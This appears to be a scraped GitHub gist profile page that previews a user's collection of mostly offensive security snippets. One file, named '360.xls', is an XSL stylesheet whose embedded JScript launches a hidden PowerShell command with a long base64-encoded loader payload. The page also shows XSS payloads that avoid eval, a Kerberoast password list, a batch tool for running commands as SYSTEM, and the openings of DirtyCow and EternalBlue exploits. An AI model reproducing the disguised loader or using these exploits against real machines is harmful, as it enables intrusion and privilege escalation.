Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
I may be slow to respond.

Caijiji CaiJiJi

💭
I may be slow to respond.
  • @Caijijijijijiji
  • Earth
View GitHub Profile
View install.sh
#!/bin/sh
#
# This script should be run via curl:
# sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
# or wget:
# sh -c "$(wget -qO- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
#
# As an alternative, you can first download the install script and run it afterwards:
# wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh
# sh install.sh
View 360.xls
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -enc JABOAEoAZABDAEcAagAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBIADQAcwBJAEMATwBxAEwAZABsAHcAQwAvAHoARQAxAE4AVABFAHkATgB6AEkANQBNAHoAZwB1AE0AVABFACEAdgBWAFoAdABUAHgAcwA1AEUAUAA2AE8AeABIACsAdwBxAHAAVgAyAFYAOQBvAHMAIQBZADYANwBDAHEAawBTAGUAWQBHAFcAdABnAGsAcABDADYAVQBsAGoAUwBwAG4AZAA1AEkAWQB2AE8AdgBGADkAaQBhAGsAaABmADkAKwA0ADMAMwBKAGgAZwBPAHUAMwBKADEAMAArAHkAVwB4AFAAVABNAGUAUAA4AC8ATQBZADEAdQB3ACsAQgBwAEcANwBVAEYATQAzAHAAIQBEAGUAMwBOAGoAawBpAFcAaABaAGkASQB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0YTZ2kjN3UDMyI2MwMTZyAzMxMDMyUDN5QzM1QGNwIjYzUjNjZjM2kjN0cTM2AzNkZjZ2MjN4IDMyAzMlJTNzYmMxYzY2MmN5YTY3YmN
@CaiJiJi
CaiJiJi / kerberoast_pws.xz
Last active Nov 13, 2018 — forked from edermi/kerberoast_pws.xz
edermi Kerberoast PW list (XZ format)
View kerberoast_pws.xz
This file has been truncated, but you can view the full file.
@CaiJiJi
CaiJiJi / run.js
Created Aug 8, 2018
Get google result
View run.js
var a = document.getElementById('rcnt').innerHTML.match(/<a href=\"(.*?)\" ping/g);
for (var i=0;i<a.length;i++)
{
var method = a[i].match(/"(.*?):\/\//g)[0];
var domain = a[i].split("/")[2];
var result = method+domain
console.log(result.substr(1));
}
@CaiJiJi
CaiJiJi / wkhtmltopdf.sh
Created Sep 1, 2017 — forked from jurv/wkhtmltopdf.sh
Use session with wkhtmltopdf
View wkhtmltopdf.sh
wget --save-cookies cookies.txt --keep-session-cookies http://my-site.dev/app_dev.php/my/page
# It's possible to add option "--post-data 'user=foo&password=bar' " if you need to
# log in for exemple
# Then retrieve the session ID in cookie.txt
vendor/h4cc/wkhtmltopdf-amd64/bin/wkhtmltopdf-amd64 \
--cookie 'sessionid' 'gfou6ks1lsguuvtk9il2v169n7' \
--cookie 'PHPSESSID' 'gfou6ks1lsguuvtk9il2v169n7' \
--debug-javascript \
View No eval xss
(new Array).filter.constructor('alert(1)')()
[].constructor.constructor('alert(1)')()
[]['constructor']['constructor']('alert(1)')()
[][x='constructor'][x]('alert(1)')()
[][ㅤ='constructor'][ㅤ]('alert(1)')()
@CaiJiJi
CaiJiJi / c0w.c
Created Jun 27, 2017 — forked from KrE80r/c0w.c
PTRACE_POKEDATA variant of CVE-2016-5195
View c0w.c
/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
*
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000
View run_admin.bat
@echo off
ver|findstr "5\.[0-9]\.[0-9][0-9]*" >NUL 2>NUL && (echo [-] Not Working for winxp\win2k3 &&goto :EOF)
del /f /q %result_file% >NUL 2>NUL
Rd "%WinDir%\system32\test_permissions" >NUL 2>NUL
Md "%WinDir%\System32\test_permissions" 2>NUL||(Echo.& [-] Echo Run as administrator user. &&goto :EOF)
set comands=%*
if not defined comands (
echo.
echo Run as SYSTEM Account Tool
@CaiJiJi
CaiJiJi / eternalblue8_exploit.py
Created May 18, 2017 — forked from worawit/eternalblue8_exploit.py
Eternalblue exploit for Windows 8/2012
View eternalblue8_exploit.py
#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
You can’t perform that action at this time.